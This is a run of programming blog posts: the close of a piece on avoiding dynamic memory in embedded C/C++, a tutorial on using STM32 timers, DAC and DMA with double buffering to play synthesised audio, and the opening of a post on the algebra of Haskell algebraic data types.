^{Clueless software engineers thinking "the more advanced the concept, the better". Don't be clueless.}

Not only is allocation an issue. Virtual classes, exceptions, runtime type information (RTTI)—these are all no-nos for some embedded companies. They're all avoided for the same reasons: performance degradation and code bloat. In essence, not enough time and not enough space. With dynamic memory, there's another reason.

So why is dynamic memory bad?

Because of Memory Fragmentation. This occurs when we keep allocating and deallocating memory in various sizes. This may lead to wasted memory, leading to slower allocations (due to the need to reallocate and compact memory) or our worst nightmare: an out-of-memory exception. 🤯

^{Memory becomes fragmented after multiple allocs and deallocs, leading to wasted memory space. (source)}

Since embedded systems tend to require sustained uptime, constantly using dynamic memory may lead to highly fragmented memory.

This is a serious issue. Persistence, backup, and resets should be considered when developing embedded applications, but buggy resets—say, due to OOM crashes—should be avoided. Maybe not an issue if you're working with missiles though.

What alternatives are there?

In C, dynamic allocation is largely optional; you, the programmer, have more control over memory usage.²

In C++, it's more of a hassle. Dynamic memory allocation is core to many standard library containers: strings, vectors, maps. The Arduino String also uses dynamic memory. No doubt, these libraries are immensely useful for organising and manipulating data, but they come with dynamic allocation.³

The alternative is to use static allocation. Instead of allowing containers to grow unbounded, we limit their size with a maximum bound. Sometimes, it's as simple as changing array declarations.

// --- Dynamic ---

size_t size = 10;
int* array1 = new int[size];
// `size` is dynamic. e.g. can change with input.
// Note that we can also resize the array and reassign the pointer.

// Use the array...
for (int i = 0; i < size; i++)
    array1[i] = i;

delete[] array1;


// --- Static ---

// Define a maximum capacity...
#define MAX_SIZE 100                // ...with a macro,
// constexpr size_t MAX_SIZE = 100; // ...or use C++'s type-safe constexpr.

int array2[MAX_SIZE];

// Use the array... (be careful to use `size` instead of `MAX_SIZE`).
for (int i = 0; i < size; i++)
    array2[i] = i;

With complex data structures, more work is needed to eliminate dynamic allocation. This is what ETL containers achieve, as opposed to STL containers.

The ETL (Embedded Template Library) is an alternative to the C++ standard library, and contains many standard features plus libraries useful for embedded systems programming (e.g. circular buffers).

Here's a quick preview with vectors:

// STL
// Allocate a dynamic vector (on the heap). Capacity grows on-demand.
std::vector<int> vec1 = {1,2,3};

// ETL
// Allocate a static vector (on the stack) with fixed capacity.
etl::vector<int, 10> vec2 = {1,2,3};

One benefit of static allocation is speed. With dynamic, allocators need to figure out size constraints and reallocate. If the allocator is good, it may perform better by using smart strategies (e.g. reusing a previously freed bin); but this still introduces overhead. With static, memory is either pre-allocated (in the case of global variables) or quickly allocated with a single instruction (subtracting the stack pointer).⁴ Hence, better performance at the expense of flexibility.

What about polymorphism? Like dynamic memory allocation, dynamic polymorphism also introduces performance overhead via additional indirection (dynamic dispatch, vtable lookup).

The good news is: static polymorphism exists! In C++, we can achieve this via CRTP; but we lose the ability to declare polymorphic containers, such asvector<Animal*>, vector<Shape*>. We could also use sum types (e.g. std::variant); but this would increase memory footprint. Sometimes virtual classes are a necessary ~~evil~~ abstraction.

Thus, it’s crucial to consider the design requirements of the software being developed. How long do the strings need to be? Can they be limited by a maximum length? How many items will our vector hold at most? Is it more maintainable to use virtual classes here?⁵

Is dynamic memory always bad?

Dynamic memory isn't bad in all cases, if used properly. Some appropriate situations:

You only allocate during init. For example, we allocate memory based on a setting from an SSD card.
It's difficult to decide on a maximum bound at compile time. It's easy to cap small strings at 32, 64, or 256 chars. But what about HTTP requests? JSON payloads? These vary a lot between applications, so libraries typically default to dynamic allocation.

There are various ways to implement dynamic memory allocation. The "best" method depends on your specific scenario. Memory pools are one implementation admired for their simplicity and lightweight nature. FreeRTOS documents other heap implementations which aim to be thread-safe. Heap 4 is of particular interest, as it mitigates fragmentation.

Summary

In a recent discussion between Uncle Bob and Casey Muratori on clean code and performance, Bob summarises:

Switch statements have their place. Dynamic polymorphism has its place. Dynamic things are more flexible than static things, so when you want that flexibility, and you can afford it, go dynamic. If you can't afford it, stay static.

^{(source; emphasis added)}

This applies to embedded system memory as well. It’s difficult to afford dynamic things with few resources. With more powerful MCUs, it’s easier to justify dynamic things, be it heap, polymorphism, and whatnot. In the end, we should take into account the available resources, design requirements, and use cases. Let me summarise again.

If you need flexibility and can afford it, use dynamic memory. If you can’t afford it (as is often the case), use static.⁶

Footnotes

Even if you don’t use it directly, it’s still there. Most garbage-collected languages (think Java, JS, Python) will allocate primitives on the stack, and all other objects on a heap. ↩︎
Also, the C standard library rarely depends on dynamic allocation; except maybe for file IO. ↩︎
Sure, std containers allow custom allocators, and that can be a topic for an entire series of posts... but it also means additional indirection, whether at compile-time or runtime. ↩︎
And if your function uses multiple statically-allocated variables, the allocation will be combined into one giant stack subtraction. You can thank your compiler for this. ↩︎
What's the right balance of maintainability? Is it worth sacrificing maintainability for performance? ↩︎
The distinction between want and need is small, but IMO important when programming for embedded systems. Sometimes, we may want to use the heap, but it's not needed. Very rarely, we may need the flexibility of the heap since the benefits outweigh the costs. ↩︎

Digital Audio Synthesis for Dummies: Part 3

2023-05-24T00:00:00Z

Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!
— TrebledJ, 2022

Ah… embedded systems—the intersection of robust hardware and versatile software.

This is the third (and culminating) post in a series on digital audio synthesis; but the first (and only?) post touching embedded hardware. In the first post, we introduced basic concepts on audio processing. In the second post, we dived into audio synthesis and generation. In this post, we’ll discover how to effectively implement an audio synthesiser and player on an embedded device by marrying hardware (timers, DACs, DMA) and software (double buffering plus other optimisations).¹

To understand these concepts even better, we’ll look at examples on an STM32. These examples are inspired from a MIDI keyboard project I previously worked on. I'll be using an STM32F405RGT board in the examples. If you plan to follow along with your own board, make sure it's capable of timer-triggered DMA and DAC. An oscilloscope would also be handy for checking DAC output.

This post is much longer than I expected. My suggested approach of reading is to first gain a high-level understanding (possibly skipping the nitty gritty examples), then dig into the examples for details.

Timers ⏰

It turns out kitchens and embedded systems aren’t that different after all! Both perform input and output, and both have timers! Who knew?

Tick Tock

Timers in embedded systems are similar to those in the kitchen: they tick for a period of time and signal an event when finished. However, embedded timers are much fancier than kitchen timers, making them immensely useful in various applications. They can trigger repeatedly (via auto-reload), count up/down, and be used to generate rectangular (PWM) waves.

^{Timers have various applications, such as to count signals. (Source: EmbeddedTutor²)}

So what makes timers tick?

The MCU clock!

The MCU clock is the backbone of a controller. It controls the processing speed and pretty much everything!—timers, ADC, DAC, communication protocols, and whatnot. The signal itself is generated by an oscillator, typically a Quartz crystal oscillator which is capable of generating high, stable, self-sustaining frequencies.

The clock runs at a fixed frequency (168MHz on our board). By dividing against it, we can achieve lower frequencies.

^{By using different prescalers, we can scale down the frequency according to our needs. (Source: EmbeddedTutor²)}

The following diagram illustrates how the clock signal is divided on an STM. There are two divisors: the prescaler and auto-reload (aka counter period).

^{How a timer frequency is derived from the clock signal. (Diagram adapted from uPesy.³)}

Here, the clock signal is first divided by a prescaler of 2, then further "divided" by an auto-reload of 6. On every overflow (arrow shooting up), the timer triggers an interrupt. In this case, the timer runs at $\frac{1}{12}$ the speed of the clock.

These interrupts can trigger functionality such as DMA transfers (explored later) and ADC conversions.⁴ Heck, they can even be used to trigger other timers!

Further Reading:

How do microcontroller timers work?
Getting Started with STM32: Timers and Timer Interrupts
- There are more prescalers behind the scenes! (APB2)

Example: Initialising the Timer

Suppose we want to send a stream of audio output. We can use a timer with a frequency set to our desired sample rate.

We can derive the prescaler (PSC) and auto-reload (ARR) by finding integer factors that satisfy the following relationship.

$$ \text{freq}_\text{timer} = \frac{\text{freq}_\text{clock}}{(\text{PSC} + 1) \times (\text{ARR} + 1)} $$

where $\text{freq}_\text{timer}$ is the timer frequency (or specifically in our case, the sample rate), $\text{freq}_\text{clock}$ is the clock frequency.

On our STM32F405, we configured $\text{freq}_\text{clock}$ to the maximum possible speed: 168MHz. If we’re aiming for an output sample rate of 42,000Hz, we’d need to divide our clock signal by 4,000, so that we correctly get $\frac{168,000,000}{4,000} = 42,\!000$. For now, we’ll choose register values of PSC = 0 and ARR = 3999.

Why do we add $+1$ to the PSC and ARR in the relationship above?

On the STM32F4, PSC and ARR are 16-bit registers, meaning they range from 0 to 65,535.⁵ To save space and enhance program correctness, we assign meaningful behaviour to the value 0.

So in this page, when we say PSC = 0, we actually mean a prescaler divisor of 1.

Why 0 and 3999 specifically?

Other pairs of PSC and ARR can also work. We can choose any PSC and ARR which get us to our desired timer frequency. Play around and try different pairs of PSC and ARR!

Exercises for the reader:

What is the difference between different pairs, such as PSC = 0, ARR = 3999 vs. PSC = 1, ARR = 1999? (Hint: counter.)
Is there a PSC/ARR pair that is "better"?⁶

We can use STM32 CubeMX to initialise timer parameters. CubeMX allows us to generate code from these options, handling the conundrum of modifying the appropriate registers.

^{In CubeMX, we first select a timer on the left. We then enable a channel (here Channel 4) to generate PWM.⁷ We also set the prescaler and auto-reload so that our timer frequency is 42,000Hz.}

^{Some other settings in CubeMX to check.}

Remember to generate code once done.⁹ CubeMX should generate the following code in main.c:

static void MX_TIM8_Init(void)
{
    // --snip-- Initialise structs. --snip--

    htim8.Instance               = TIM8;
    htim8.Init.Prescaler         = 0;
    htim8.Init.CounterMode       = TIM_COUNTERMODE_UP;
    htim8.Init.Period            = 4000 - 1;
    htim8.Init.ClockDivision     = TIM_CLOCKDIVISION_DIV1;
    htim8.Init.RepetitionCounter = 0;
    htim8.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
    if (HAL_TIM_Base_Init(&htim8) != HAL_OK) {
        Error_Handler();
    }
    
    // --snip-- Initialise the clock source. --snip--
    
    if (HAL_TIM_PWM_Init(&htim8) != HAL_OK) {
        Error_Handler();
    }
    
    // --snip-- Initialise other things. --snip--
    
    HAL_TIM_MspPostInit(&htim8);
}

After initialisation, it's possible to change the timer frequency by setting the prescaler and auto-reload registers like so:

TIM8->PSC = 0;    // Prescaler: 1
TIM8->ARR = 3999; // Auto-Reload: 4000

This is useful for applications where the frequency is dynamic (e.g. playing music with a piezoelectric buzzer), but it's also useful when we're too lazy to modify the .ioc file.

Example: Playing with Timers

STM’s HAL library provides ready-made functions to interface with hardware.

HAL_TIM_Base_Start(&htim8); // Start the timer.
HAL_TIM_Base_Stop(&htim8);  // Stop the timer.

These functions are used to start/stop timers for basic timing and counting applications. Functions for more specialised modes (e.g. PWM) are available in stm32f4xx_hal_tim.h.

Digital-to-Analogue Converters (DACs) 🌉

Let's delve into our second topic today: digital-to-analogue converters (DACs).

Audio comes in several forms: sound waves, electrical voltages, and binary data.

^{Audio manifests in various forms. DACs transform our signal from the digital realm to the analogue world. (Source: Pluke, CC BY-SA 3.0, via Wikimedia Commons.)}

Since representations vastly differ, hence the need for interfaces to bridge the worlds. Between the digital and analogue realms, we have DACs and ADCs as mediators. Generally, DACs are used for output while ADCs are for input.

A Closer Look at DACs

Remember sampling? We took a continuous analogue signal and selected discrete points at regular intervals. An ADC is like a glorified sampler.

While ADCs take us from continuous to discrete, DACs (try to) take us from discrete to continuous. The shape of the resulting analogue waveform depends on the DAC implementation. Simple DACs will stagger the output at discrete levels. More complex DACs may interpolate between two discrete samples to “guess” the intermediate values. Some of these guesses will be off, but at least the signal is smoother.

^{On our STM board, signal reconstruction is staggered, like old platformer games—not that I've played any. At higher sampling rates, the staggered-ness is less apparent and the resulting curve is smoother.}

Example: Initialising the DAC

Let’s return to CubeMX to set up our DAC.

^{Enable DAC, and connect it to Timer 8 using the trigger setting. Our STM32F405 board supports two DAC output channels. This is useful if we want stereo audio output.}

^{Configure DMA settings for the DAC. We’ll cover DMA later.}

^{Enable interrupts for the DMA. These are needed to trigger DAC sends.}

Again, remember to generate code when finished.⁹ The MX_DAC_Init() function should contain the generated DAC setup code and should already be called in main().

Example: Using the DAC

On our STM32, DAC accepts samples quantised to 8 bits or 12 bits.¹⁰ We’ll go with superior resolution: 12 bits!

^{STM32 offers three different options to quantise and align DAC samples. We’ll only focus on the last option: 12-bit right aligned samples. (Source: RM0090 Reference Manual.⁸)}

For simplicity, let’s start with sending 1 DAC sample. This can be done like so:

// Start the DAC peripheral.
HAL_DAC_Start(&hdac, DAC_CHANNEL_1);

// Set the DAC value to 1024 on Channel 1, 12-bit right-aligned.
HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, 1024);

This should output a voltage level of $\frac{1024}{2^{12}} = 25\%$ of the reference voltage $V_{\text{REF}}$. Once it starts, the DAC will continue sending that voltage out until we change the DAC value or call HAL_DAC_Stop().

We use DAC_CHANNEL_1 to select the first channel, and use DAC_ALIGN_12B_R to accept 12-bit right-aligned samples.

To fire a continuous stream of samples, we could use a loop and call HAL_DAC_SetValue() repeatedly. Let’s use this method to generate a simple square wave.

An aside. The default HAL_Delay() provided by STM will add 1ms to the delay time—well, at least in my version. I overrode it using a separate definition so that it sleeps the given number of ms.

void HAL_Delay(uint32_t ms)
{
    uint32_t start = HAL_GetTick();
    while ((HAL_GetTick() - start) < ms);
}

HAL_DAC_Start(&hdac, DAC_CHANNEL_1);

// Alternate between high (4095) and low (0).
uint8_t high  = 1;
while (1) {
    uint16_t sample = (high ? 4095 : 0); // max = 4095 = 2^12 - 1.
    high = !high;
    HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, sample);

    // Delay for 5ms.
    HAL_Delay(5);
}

This generates a square wave with a period of 10ms, for a frequency of 100Hz.

^{Oscilloscope view of the signal. Oscilloscopes are very useful for debugging signals, especially periodic ones.}

But there are two issues with this looping method:

Using a while loop blocks the thread, meaning we block the processor from doing other things while outputting the sine wave. We may wish to poll for input or send out other forms of output (TFT/LCD, Bluetooth, etc.).
Since HAL_Delay() delays in milliseconds, it becomes impossible to generate complex waveforms at high frequencies, since that requires us to send samples at microsecond intervals.

In the next section, we’ll address these issues by combining DAC with timers and DMA.

Further Reading:

Deep Blue Embedded: STM32 DAC Tutorial

Direct Memory Access (DMA) 💉🧠

The final item on our agenda today! Direct Memory Access (DMA) may seem like three random words strung together, but it’s quite a powerful tool in the embedded programmer’s arsenal. How, you ask?

DMA enables data transfer without consuming processor resources. (Well, it consumes some resources, but mainly for setup.) This frees up the processor to do other things while DMA takes care of moving data. We could use this saved time to prepare the next set of buffers, render the GUI, etc.

DMA can be used to transfer data from memory-to-peripheral (e.g. DAC, UART TX, SPI TX), from peripheral-to-memory (e.g. ADC, UART RX), across peripherals, or across memory. In this post, we're concerned with one particular memory-to-peripheral transfer: DAC.

Further Reading:

Baeldung: How Do DMA Controllers Work?

Example: DMA with Single Buffering

We'll now try using DMA with a single buffer, see why this is problematic, and motivate the need for double buffering. If you’ve read this far, I presume you’ve followed the previous section by initialising DMA and generating code with CubeMX.

DMA introduces syncing issues. After preparing a second round of buffers, how do we know if the first round has already finished?

As with all processes which depend on a separate event, there are two approaches: polling and interrupts. In this context:

Polling: Block and wait until the first round is finished, then send.
Interrupts: Trigger an interrupt signal when transfer finishes, and start the next round inside the interrupt handler.

Which approach to choose depends on your application.

In our examples, we’ll poll to check if DMA is finished:

while (HAL_DAC_GetState(&hdac) != HAL_DAC_STATE_READY)
    ;

With DMA, we’ll first need to buffer an array of samples. Our loop will run like this:

Buffer samples.
Wait for DMA to be ready.
Start the DMA.

Do you notice a flaw in this approach? After starting DMA, we start buffering samples on the next iteration. We risk overwriting the buffer while it’s being sent.

Let’s try to implement it anyway and play a simple 440Hz sine wave.

#include <math.h>  // M_PI, sin

#define SAMPLE_RATE 42000
#define BUFFER_SIZE 1024
#define FREQUENCY   440

uint16_t buffer[BUFFER_SIZE];
uint32_t t = 0; // Time (in samples).

// Start the timer.
HAL_TIM_Base_Start(&htim8);

while (1) {
    // Prep the buffer.
    for (int i = 0; i < BUFFER_SIZE; i++, t++) {
        float val = sin(2 * M_PI * FREQUENCY * t / SAMPLE_RATE);
        buffer[i] = 2047 * val + 2047; // Scale the value from [-1, 1] to [0, 2^12-1).
    }

    // Wait for DAC to be ready, so that the buffer can be modified on the next iteration.
    while (HAL_DAC_GetState(&hdac) != HAL_DAC_STATE_READY)
        ;

    // Start the DMA.
    HAL_DAC_Start_DMA(&hdac, DAC_CHANNEL_1, (uint32_t*)buffer, BUFFER_SIZE, DAC_ALIGN_12B_R);
}

The results? As expected, pesky little artefacts invade our signal since our buffer is updated during DMA transfer. This may result in unpleasant clicks from our speaker.

^{Prep, wait, start, repeat. Artefacts distort the signal from time to time.}

But what if we prep, then start, then wait? This way, the buffer won't be overwritten; but this causes the signal to stall while prepping.¹¹

^{Prep, start, wait, repeat. The signal stalls (shown by horizontal lines) because the DAC isn’t updated while buffering.}

To resolve these issues, we'll unleash the final weapon in our arsenal.

Example: DMA with Double Buffering

We saw previously how a single buffer spectacularly fails to deal with "concurrent" buffering. With double buffering, we introduce an additional buffer. While one buffer is being displayed/streamed, the other buffer is updated. This ensures our audio can be delivered in one continuous stream.

In code, we’ll add another buffer by declaring uint16_t[2][BUFFER_SIZE] instead of uint16_t[BUFFER_SIZE]. We’ll also declare a variable curr (0 or 1) to index which buffer is currently available.

uint16_t buffers[2][BUFFER_SIZE]; // New: add a second buffer.
uint8_t curr = 0;                 // Index of current buffer.
uint32_t t   = 0;

// Start the timer.
HAL_TIM_Base_Start(&htim8);

while (1) {
    uint16_t* buffer = buffers[curr]; // Get the buffer being written.

    // --snip-- Same as before...
    // Prep the buffer.
    // Wait for DAC to be ready.
    // Start the DMA.
    // --snip--

    // Point to the other buffer, so that we
    // prepare it while the previous one
    // is being sent.
    curr = !curr;
}

Now our 440Hz sine wave is unblemished!

^{Waveform of a pure 440Hz sine tone.}

Double buffering is also used for video and displays, where each buffer stores a 2D frame instead of a 1D signal.

Example: Playing Multiple Notes with DMA and Double Buffering 🎶

With some minor changes, we can make our device generate audio for multiple notes. Let’s go ahead and play an A major chord!

// Prep the buffer.
uint16_t* buffer = buffers[curr];
for (int i = 0; i < BUFFER_SIZE; i++, t++) {
    // Compute value for each note.
    float a = sin(2 * M_PI * 440 * t / SAMPLE_RATE);
    float cs = sin(2 * M_PI * 554.37 * t / SAMPLE_RATE);
    float e = sin(2 * M_PI * 659.25 * t / SAMPLE_RATE);

    float val = (a + cs + e) / 3;  // Sum and normalise to [-1, 1].
    buffer[i] = 2047 * val + 2047; // Map [-1, 1] to [0, 2^12-1).
}

If you flash the above code and feed the output to an oscilloscope, you may find it doesn’t really work. Our signal stalls, for similar reasons as before.

Even with DMA, stalls may occur. This is usually a sign that buffering (and other processes) consume too much time. In this case, breaks in the data occur—the stream is no longer continuous, because the buffer doesn't finish prepping on time.

Optimisations 🏎

So our code is slow. How do we speed it up?

Here are a few common tricks:

Precompute constants.

Instead of computing 2 * M_PI * FREQUENCY / SAMPLE_RATE every iteration, we can precompute it before the loop, saving many arithmetic instructions.

// Precompute a factor of the 440Hz signal.
float two_pi_f_over_sr = 2 * M_PI * FREQUENCY / SAMPLE_RATE;

while (1) {
    // Prep the buffer.
    uint16_t* buffer = buffers[curr];
    for (int i = 0; i < BUFFER_SIZE; i++, t++) {
        // Use the precomputed value...
        buffer[i] = 2047 * sin(two_pi_f_over_sr * t) + 2047;
    }

    // ...
}

Wavetable synthesis.

Math functions such as sin can be computationally expensive, especially when used a lot. By caching the waveform in a lookup table, we can speed up the process of computing samples.
Increase the buffer size.

By increasing the buffer size, we spend less overhead switching between tasks.
Decrease the sample rate.

If all else fails, we can decrease the load by compromising the sample rate, say from 42000Hz to 21000Hz. With a buffer size of 1024, that means we’ve gone from a constraint of $\frac{1,024}{42,000} = 24.4$ms to $\frac{1,024}{21,000} = 48.8$ms per buffer.

To avoid complicating things, I lowered the sample rate to 21000Hz. This means changing the auto-reload register to 7999, so that our timer frequency is $$\frac{168,000,000}{(0 + 1) \times (7,999 + 1)} = 21,\!000\text{Hz.}$$

TIM8->ARR = 7999;

After all this hassle, we get a beautiful chord.

^{A nifty waveform of an A major chord (440Hz + 554.37Hz + 659.25Hz).}

Recap 🔁

By utilising both hardware and software, we reap the benefits of parallel processing while implementing an efficient, robust audio application. On the hardware side, we explored:

Timers, which are an useful and inexpensive way to trigger actions at regular intervals.
DACs, which enable us to communicate with a speaker by translating digital samples into analogue signals.
DMA, which enables data transfer with minimal processor resources. This way, we can process other things while streaming audio.

In software, we explored:

Double buffering, a software technique for buffering data to achieve continuous or faster output.
Various optimisations, which enable us to squeeze more processing into our tiny board.

When combined, we save processing resources, which can possibly be spent on additional features.

In case you want to go further, here are some other things to explore:

Generating stereo audio. We’ve generated audio for Channel 1. What about stereo audio for Channel 2? If you’re using reverb effects and wish for a fuller stereo sound, you’ll need an extra pair of buffers (and more processing!).
Streaming via UART (+ DMA).
Using SIMD instructions to buffer two (or more?) samples at a time.
- Other assembly-level bit-hacking tricks.
RTOS for multitasking.
Other boards or hardware with specialised audio features.

Hope you enjoyed this series of posts! Leave a comment if you like to see more or have any feedback!

Full Code

The complete code for DMA with double buffering has been uploaded as a GitHub Gist. It hasn't been fully optimised yet. I'll leave that as an exercise for the reader.

Footnotes

Each of these components (especially hardware) deserve their own post to be properly introduced; but for the sake of keeping this post short, I’ll only introduce them briefly and link to other resources for further perusal. ↩︎
Timer/Counter in Embedded System ↩︎ ↩︎
How do microcontroller timers work? – A decent article on timers. Diagrams are in French though. ↩︎
The extent of timer events depends on hardware support. Timers can do a lot on ST boards. For other brands, you may need to check the datasheet or reference manual. ↩︎
Some other timers have 32-bit ARR registers. But eh, we can achieve a lot with just 16-bit ones. ↩︎
What is the difference between pairs of prescaler/auto-reload, such as PSC = 0, ARR = 3999 vs. PSC = 1, ARR = 1999?
Indeed, given a fixed clock frequency, the same timer frequency will be generated (since the divisor is the same: 2000). However, the difference lies in the counter. Recall each step of auto-reload equals a step of the counter.
The counter is used in calculating the on-time (or duty cycle). By using a higher ARR, we gain a higher resolution in the counter, which allows us to say, control servos with finer granularity. Thus, a lower prescaler is often preferred.
Of course, different vendors may implement timers differently or have different features attached to timer peripherals. Other considerations may come into play, depending on the vendor and your application. ↩︎
We chose Timer 8 (with Channel 4) because it's an advanced control timer (a beefy boi!), capable of a lot, though probably overkill for our simple examples. The timer and channel you use depends on your STM board and model. If you’re following along with this post, make sure to choose a timer which has DMA generation. When in doubt, refer to the reference manual.⁸ ↩︎
STM's Official Reference Manual for F405/F415, F407/F417, F427/F437, F429/F439 boards. Definitely something to refer to if you’re working on one of those boards. ↩︎ ↩︎
In CubeMX, you can generate code by choosing the Project > Generate Code menu option. When coding, keep in mind that only code between USER CODE BEGIN and USER CODE END comments will be preserved by ST's code generator. ↩︎ ↩︎
There are pros to using 8-bit or 12-bit DAC. 8-bit conversion is faster, whereas 12-bit offers higher resolution. To slightly complicate things, the 12-bit DAC option on our STM32 can be aligned either left or right. That is, we can choose whether our data takes up the first 12 bits or last 12 bits on a 16-bit (2-byte) space. Alignment exists to save you a shift operation, which depends on your application. ↩︎
Not sure if stall is the right word. Let me know if there's a better one. ↩︎

The Mathematics of Types

2023-04-24T00:00:00Z

Algebraic data types (ADTs) encompass a wide range of types commonly used in our day-to-day tasks. Over the past years, they’ve grown in popularity with the rise of modern languages such as Rust and Scala. They allow us to effectively model data, write readable code, and catch bugs at compile time. But rarely do we consider the aesthetics behind such constructs.

This post is for the curious programmer. Today, we’ll be looking at the mathematics behind ADTs. In doing so, we also gain an appreciation for their utility and aesthetics. I’ll be mainly using Haskell code blocks in this post, because types are very straightforward to express in this language. If you’re unfamiliar with Haskell, fear not!—the concepts addressed below are transferable to most programming languages.

Motivation for ADTs

We are interested in combining types, but that alone isn’t saying much. First, we want to combine types meaningfully in order to communicate ideas through those types. This notion lies with expressibility and the art of programming. Code is, after all, a medium between programmers.

Second, we want to combine types concisely; our types shouldn’t contain redundant, ambiguous information. Removing redundancy implies removing duplicate or invalid states, leading to better maintainability and fewer bugs.

ADTs offers us two ways to combine types: product types and sum types.

Product Types

If you’ve used structs, tuples, or record types, then you already have a sense of what product types are. Product types combine types together as one. A pizza is like a product type, combining crust, cheese, and toppings. When you bite into a pizza, you enjoy the sensation of all three together.

Here are some product types in Haskell:

-- Haskell Tuple
-- -------------
-- Haskell separates types from data.
tuple1 :: (Bool, Bool) -- Type
tuple1 = (True, False) -- Data

-- Here's another tuple:
tuple2 :: (Int, String)
tuple2 = (42, "Hello world!")

-- We can have a product type of product types.
tuple3 :: ((Int, Double), (Bool, Char))
tuple3 = ((1, 3.14), (True, 'a'))

-- Although semantically, it's the same as...
tuple4 :: (Int, Double, Bool, Char)
tuple4 = (1, 3.14, True, 'a')

-- Haskell Data Constructor
-- ------------------------
-- We define a new type: RectangleType.
-- We also define Rect to be a data constructor.
-- The data constructor takes 4 integer arguments.
data RectangleType = Rect Int Int Int Int

-- We can create a RectangleType by passing concrete 
-- values to the Rect data constructor.
rect :: RectangleType
rect = Rect 0 0 10 5

-- Haskell Record
-- --------------
-- Let's define a record!
-- With Haskell record syntax, we can give names to fields.
-- Here, `Person` is both the type and data constructor.
data Person = Person { name :: String, age :: Int }

-- Let's construct a Person type! A person has a name AND an age.
record :: Person
record = Person { name="Peter Parker", age=16 }

In the final example above, we wrote a product type representing a Person. All people have name and age properties, so it makes sense to combine them in coexistence.

Sum Types

Sum types are another way to combine types. In contrast to product types, sum types combine types exclusively. The choice of crust is like a sum type. Should the crust be thin, thick, or stuffed with cheese? We can only choose one option.

Sum types in their simplest form are just enums. In C/C++, we might define them like so:

enum Bool {
	False,
	True,
};

In Haskell, a Bool can be defined like so:

data Bool = False | True

Notice the vertical bar |. This means a value with type Bool can either be False or True. It can’t be both at the same time.

Sum types also allow us to represent more complex data structures. Suppose we want to model students and teachers in a school. The traditional object-oriented method would be to declare a base Member class, then derive Student and Teacher classes.

// C++ Object-Oriented Approach
using Course = std::string; // For simplicity, a course is simply a string.

class Member {};

class Student : public Member {
public:
    // A student...
    int year;                    // ...belongs to a year.
    std::vector<Course> courses; // ...takes some courses.
};

class Teacher : public Member {
public:
	std::vector<Course> teaches; // A teacher teaches some courses.
};

In functional programming, we could express a Member as a sum type of Student or Teacher.

type Course = String

data Member = Student { year :: Int, courses :: [Course] }
			| Teacher { teaches :: [Course] }

Here, Student and Teacher are two branches of the Member type, and a Member can only be either a Student or a Teacher. We can also add more branches to the sum type, such as Administrator, Visitor, and so on.¹

There are pros and cons for choosing between the object-oriented approach and functional approach, but that’s a topic for another day.

Sum types also enable us to express errors in a type-safe way. We can create a Maybe type that can be either Nothing or Just with the former indicating no result, and the latter indicating some result. (More on this later!)

data Maybe a = Nothing | Just a

This type allows us to handle errors in a more structured way and avoid a lot of if-else statements (with the help of monads!).

To sum up, sum types enable us to express complex data structures, while avoiding redundancy and making our code more maintainable and type-safe.

We call Just a data constructor. This means we can construct concrete data by applying values to Just, as if it were a function. For example, Just 1, Just "in", and Just (Just 42) are all concrete data. The same applies to False, True, and Nothing, but those don’t take arguments.

Types in the Wild

Let’s familiarise ourselves with ADTs and look at a few use cases.

Product Types in the Wild

In most languages, product types are useful when passing/returning data containing multiple values. For instance, we can define a divMod function which returns the quotient and the remainder of two numbers.

ghci> divMod x y = (x `div` y, x `mod` y)
ghci> divMod 5 2
(2,1)
ghci> divMod 42 2
(21,0)

In the Haskell REPL, lines starting with ghci> indicate REPL input. Other lines are REPL output.

Sum Types in the Wild

There are two common sum types in the wild: Maybe (introduced previously) and Either. These are typically used to express errors: either an error occurred or a valid result is returned.

Maybe and Either have other names as well. In Rust, they’re called Option and Result. In Scala, it’s Option (not the same one as Rust!) and Either. In C++, it’s optional and expected². This list isn't exhaustive, but it goes to show how ubiquitous sum types are—though not as widespread as product types, for historic reasons.

Again, Maybe is defined as a sum type like so:

data Maybe a = Nothing | Just a

Here, a is a type parameter, much like the type parameters in C++ templates and other generic programming languages. We can substitute types to get a concrete type. For example, we can have Maybe Int, Maybe Bool, Maybe String, or—for the absolute masochists—Maybe (Maybe (Maybe Int))!

Maybe is commonly used to denote a computation that might fail. For instance, we can write a safe integer divide function which returns Nothing when the divisor is 0 (indicating an error, since we can't divide) and returning the wrapped quotient otherwise.

ghci> safeDiv x y = if x == 0 then Nothing else Just (x `div` y)
ghci> safeDiv 4 2
Just 2
ghci> safeDiv 7 2
Just 3
ghci> safeDiv 7 0
Nothing

Maybe is used in other places where the error is obvious, such as in map lookup (where Nothing implies non-existence).

Either is similar, but is defined over two type parameters.

data Either a b = Left a | Right b

The type parameters a and b can be anything; but commonly, a is used to describe an error (such as a String or an enum) while b is some successful computation.

In the wild, Either is used in Haskell parsing libraries to return parse results. Sometimes, the parse is successful and returns the generated tree or data (Right). Other times, the parse fails and the library returns information of where it failed (Left). For example, maybe it failed to parse an unexpected : at line 5, column 42 of something.json.

The Algebra of Types

The astute may notice that product types combine types in an “and” fashion, whereas sum types do so in an “or” fashion. One of the alluring aspects of ADTs is that we can construct an algebra over them, allowing us to rigorously work with types.

In the following parts, we'll explore how types relate to math and apply algebraic principles similar to those from elementary!

A word on notation.

Monospaced letters ($\texttt{a}$) denote types/code,
$|\texttt{a}|$ denotes the size of set a,
$\equiv$ denotes an isomorphism between types (as in $\texttt{Int} \equiv \texttt{Int}$), and
$=$ is reserved for good ol' algebraic equivalence.

Types as Sets

Let’s start by treating types as sets of values.³ For instance, a Bool can be thought of as a set of two values: ${\texttt{True}, \texttt{False}}$, so $|\texttt{Bool}| = 2$.

What about a $(\texttt{Bool}, \texttt{Bool})$? Each Bool can be either True or False; thus their combination yields $|(\texttt{Bool}, \texttt{Bool})| = 2 \times 2 = 4$ values. Generalising this,

$$ |\texttt{(a, b)}| = |\texttt{a}| \times |\texttt{b}| $$

See how it got the name “product type”?

What about sum types? How many values can Maybe Bool take? In the Nothing branch, we have one value: Nothing. In the Just branch, we have two: Just True and Just False. Altogether, $|\texttt{Maybe Bool}| = 3$. In general,

$$ \begin{align*} |\texttt{Maybe a}| &= |\texttt{a}| + 1 \\ |\texttt{Either a b}| &= |\texttt{a}| + |\texttt{b}| \end{align*} $$

